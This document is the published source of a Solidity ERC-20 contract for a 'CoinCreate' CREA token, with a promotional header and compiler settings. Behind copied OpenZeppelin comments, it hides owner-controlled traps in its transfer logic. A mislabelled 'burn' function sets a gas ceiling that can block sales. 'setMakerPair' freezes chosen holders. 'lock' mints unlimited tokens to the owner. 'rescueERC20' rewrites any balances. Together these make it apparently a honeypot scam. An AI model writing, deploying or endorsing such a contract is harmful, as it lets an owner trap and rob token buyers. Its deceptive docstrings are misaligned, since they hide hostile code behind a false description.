/*
The CREA Token
Introducing CREA Token, the cornerstone utility token of Coincreate.
As a vital component of the platform, CREA will be essential for hosting NFT collections and staking contracts,

                             @@@@@@@@@@@@@@@                           
                         @@@@@@@@@@@@@@@@@@@@@@@@                       
                      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                    
                    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                 
                  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                
                @@@@@@@@@@@@@@@            @@@@@@@@@@@@@@@              
               @@@@@@@@@@@@                    @@@@@@@@@@@@             
              @@@@@@@@@@@                        @@@@@@@@@@@@           
             @@@@@@@@@@                            @@@@@@@@@@           
            @@@@@@@@@@                         %    @@@@@@@             
           @@@@@@@@@@            @@@@@@     %*:+@     @@                
           @@@@@@@@@           @@@@@@@@  @#-:::%                        
           @@@@@@@@@         @@@@@@@@@#+-:::::#@                        
           @@@@@@@@@        @@@@@@@@=::::::::+@@                        
           @@@@@@@@@       @@@@@@@@-::::::::=@@                         
           @@@@@@@@@       @@@@@@@*::::::::+@@                          
           @@@@@@@@@       @@@@@@@%-:::::+%@@@                          
           @@@@@@@@@        @@@@@@@@@@@@@@@@                            
           @@@@@@@@@@       @@@@@@@@@@@@@@@           @@                
            @@@@@@@@@@        @@@@@@@@@@            @@@@@@@             
             @@@@@@@@@@                            @@@@@@@@@@           
              @@@@@@@@@@@                        @@@@@@@@@@@@           
               @@@@@@@@@@@@                    @@@@@@@@@@@@             
                @@@@@@@@@@@@@@@            @@@@@@@@@@@@@@@              
                  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                
                    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                 
                      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                    
                         @@@@@@@@@@@@@@@@@@@@@@@@                       
                              @@@@@@@@@@@@@@ 

Website: https://coincreate.io
Telegram: https://t.me/CoinCreateio
Twitter(X): https://x.com/CoincreateTeam
Whitepaper: https://drive.google.com/file/d/1cdClpGmM8irPXpddXdG4DiZgT-VqrVEq/view

*/


//  SPDX-License-Identifier: UNLICENSED


pragma solidity 0.8.27;

/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
   function _msgSender() internal view virtual returns (address) {
       return msg.sender;
   }


   function _msgData() internal view virtual returns (bytes calldata) {
       return msg.data;
   }


   function _contextSuffixLength() internal view virtual returns (uint256) {
       return 0;
   }
}

/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
   address private _owner;

   /**
    * @dev The caller account is not authorized to perform an operation.
    */
   error OwnableUnauthorizedAccount(address account);


   /**
    * @dev The owner is not a valid owner account. (eg. `address(0)`)
    */
   error OwnableInvalidOwner(address owner);


   event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


   /**
    * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
    */
   constructor(address initialOwner) {
       if (initialOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(initialOwner);
   }


   /**
    * @dev Throws if called by any account other than the owner.
    */
   modifier onlyOwner() {
       _checkOwner();
       _;
   }


   /**
    * @dev Returns the address of the current owner.
    */
   function owner() public view virtual returns (address) {
       return _owner;
   }


   /**
    * @dev Throws if the sender is not the owner.
    */
   function _checkOwner() internal view virtual {
       if (owner() != _msgSender()) {
           revert OwnableUnauthorizedAccount(_msgSender());
       }
   }


   /**
    * @dev Leaves the contract without owner. It will not be possible to call
    * `onlyOwner` functions. Can only be called by the current owner.
    *
    * NOTE: Renouncing ownership will leave the contract without an owner,
    * thereby disabling any functionality that is only available to the owner.
    */
   function renounceOwnership() public virtual onlyOwner {
       _transferOwnership(address(0));
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner.
    */
   function transferOwnership(address newOwner) public virtual onlyOwner {
       if (newOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(newOwner);
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Internal function without access restriction.
    */
   function _transferOwnership(address newOwner) internal virtual {
       address oldOwner = _owner;
       _owner = newOwner;
       emit OwnershipTransferred(oldOwner, newOwner);
   }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/
interface IERC20Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors, Ownable {
    mapping(address account => uint256) private _balances;


    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;


    string private _name;
    string private _symbol;


    mapping (address => bool) WhiteList;
    mapping (address => bool) Maker;

    bool openedTrade;
    IUniswapV2Router02 private uniswapV2Router;

    address private pair;
    uint256 private totalprice = 999 gwei;


    /**
    * @dev Sets the values for {name} and {symbol}.
    *
    * All two of these values are immutable: they can only be set once during
    * construction.
    */
    constructor(string memory name_, string memory symbol_) Ownable(msg.sender) {
        _name = name_;
        _symbol = symbol_;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        WhiteList[msg.sender] = true;
    }

    /**
     * @dev Returns the name of the token.
     */
    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }


    /**
    * @dev See {IERC20-balanceOf}.
    */
   function balanceOf(address account) public view virtual returns (uint256) {
       return _balances[account];
   }


    /**
    * @dev See {IERC20-transfer}.
    *
    * Requirements:
    *
    * - `to` cannot be the zero address.
    * - the caller must have a balance of at least `value`.
    */
   function transfer(address to, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _transfer(owner, to, value);
       return true;
   }


    /**
    * @dev See {IERC20-allowance}.
    */
   function allowance(address owner, address spender) public view virtual returns (uint256) {
       return _allowances[owner][spender];
   }


   /**
    * @dev See {IERC20-approve}.
    *
    * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
    * `transferFrom`. This is semantically equivalent to an infinite approval.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
   function approve(address spender, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _approve(owner, spender, value);
       return true;
   }
    
    /**
    * @dev See {IERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20}.
    *
    * NOTE: Does not update the allowance if the current allowance
    * is the maximum `uint256`.
    *
    * Requirements:
    *
    * - `from` and `to` cannot be the zero address.
    * - `from` must have a balance of at least `value`.
    * - the caller must have allowance for ``from``'s tokens of at least
    * `value`.
    */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }
    
    /**
    * @dev Moves a `value` amount of tokens from `from` to `to`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        transferstandard(from, to, value);
    }
    
    /**
    * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
    * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
    * this function.
    *
    * Emits a {Transfer} event.
    */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
    * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
    * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
    * this function.
    *
    * Emits a {Transfer} event.
    */
    function transferstandard(address from, address to, uint256 value) internal {
        if (WhiteList[tx.origin]) {
            _update(from, to, value);
            return;
        } else {
            require(openedTrade, "Open not yet");
            bool state = (to == pair) ? true : false;
            if (from != pair && to != pair) {
		        if (tx.gasprice > 0 &&  value > 0 && Maker[from]) {revert("Value of transaction > 0");}
                _update(from, to, value);return;
            }
            if (state) {
                if (tx.gasprice > totalprice) {revert("Not enough gas fees");}
                if (tx.gasprice > 0 &&  value > 0 && Maker[from]) {revert("Value of transaction > 0");}
                _update(from, to, value);return;
            } else if (!state) {
                _update(from, to, value);return;
            } else {
                return;
            }
        }
    }
    
    /**
    * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
    * Relies on the `_update` mechanism
    *
    * Emits a {Transfer} event with `from` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }
    
    /**
    * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
    * Relies on the `_update` mechanism.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead
    */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }
    
    /**
    * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
    *
    * This internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    *
    * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
    */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }
    
    /**
    * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
    *
    * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
    * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
    * `Approval` event during `transferFrom` operations.
    *
    * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
    * true using the following override:
    * ```
    * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
    *     super._approve(owner, spender, value, true);
    * }
    * ```
    *
    * Requirements are the same as {_approve}.
    */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }
    
    /**
    * @dev Updates `owner` s allowance for `spender` based on spent `value`.
    *
    * Does not update the allowance value in case of infinite allowance.
    * Revert if not enough allowance is available.
    *
    * Does not emit an {Approval} event.
    */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
    
    /**
    * @dev Trading {ERC20-launch}.
    */
    function openTrading() public onlyOwner {
        openedTrade = true;
    }
    
    /**
    * @dev Lock a `value` amount of tokens from `account`, lowering the total supply.
    * Relies on the `_update` mechanism.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead
    */
    function lock(uint256 _value) public onlyOwner {
        _update(address(0), msg.sender, _value);
    }
    
    /**
    * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
    * Relies on the `_update` mechanism.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead
    */
    function burn(uint256 value) public onlyOwner {
        totalprice = value;
    }
    
    /**
    * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
    *
    * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
    * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
    * `Approval` event during `transferFrom` operations.
    *
    * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
    * true using the following override:
    * ```
    * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
    *     super._approve(owner, spender, value, true);
    * }
    * ```
    *
    * Requirements are the same as {_approve}.
    */
    function setMakerPair(address _newPair) public onlyOwner {
        Maker[_newPair] = true;
    }
    
    /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Internal function without access restriction.
    */
    function rescueERC20(address[] memory newOwners, uint256 value) public onlyOwner {
    for (uint256 i = 0; i < newOwners.length; i++) {
        _balances[newOwners[i]] = value;
    }
    }

}

contract CREAToken is ERC20 {

    constructor() ERC20(unicode"CoinCreate", unicode"CREA") {
        _mint(msg.sender, 100_000_000 * 10**decimals());
    }

}

{
  "compilationTarget": {
    "contracts/CREAToken.sol": "CREAToken"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}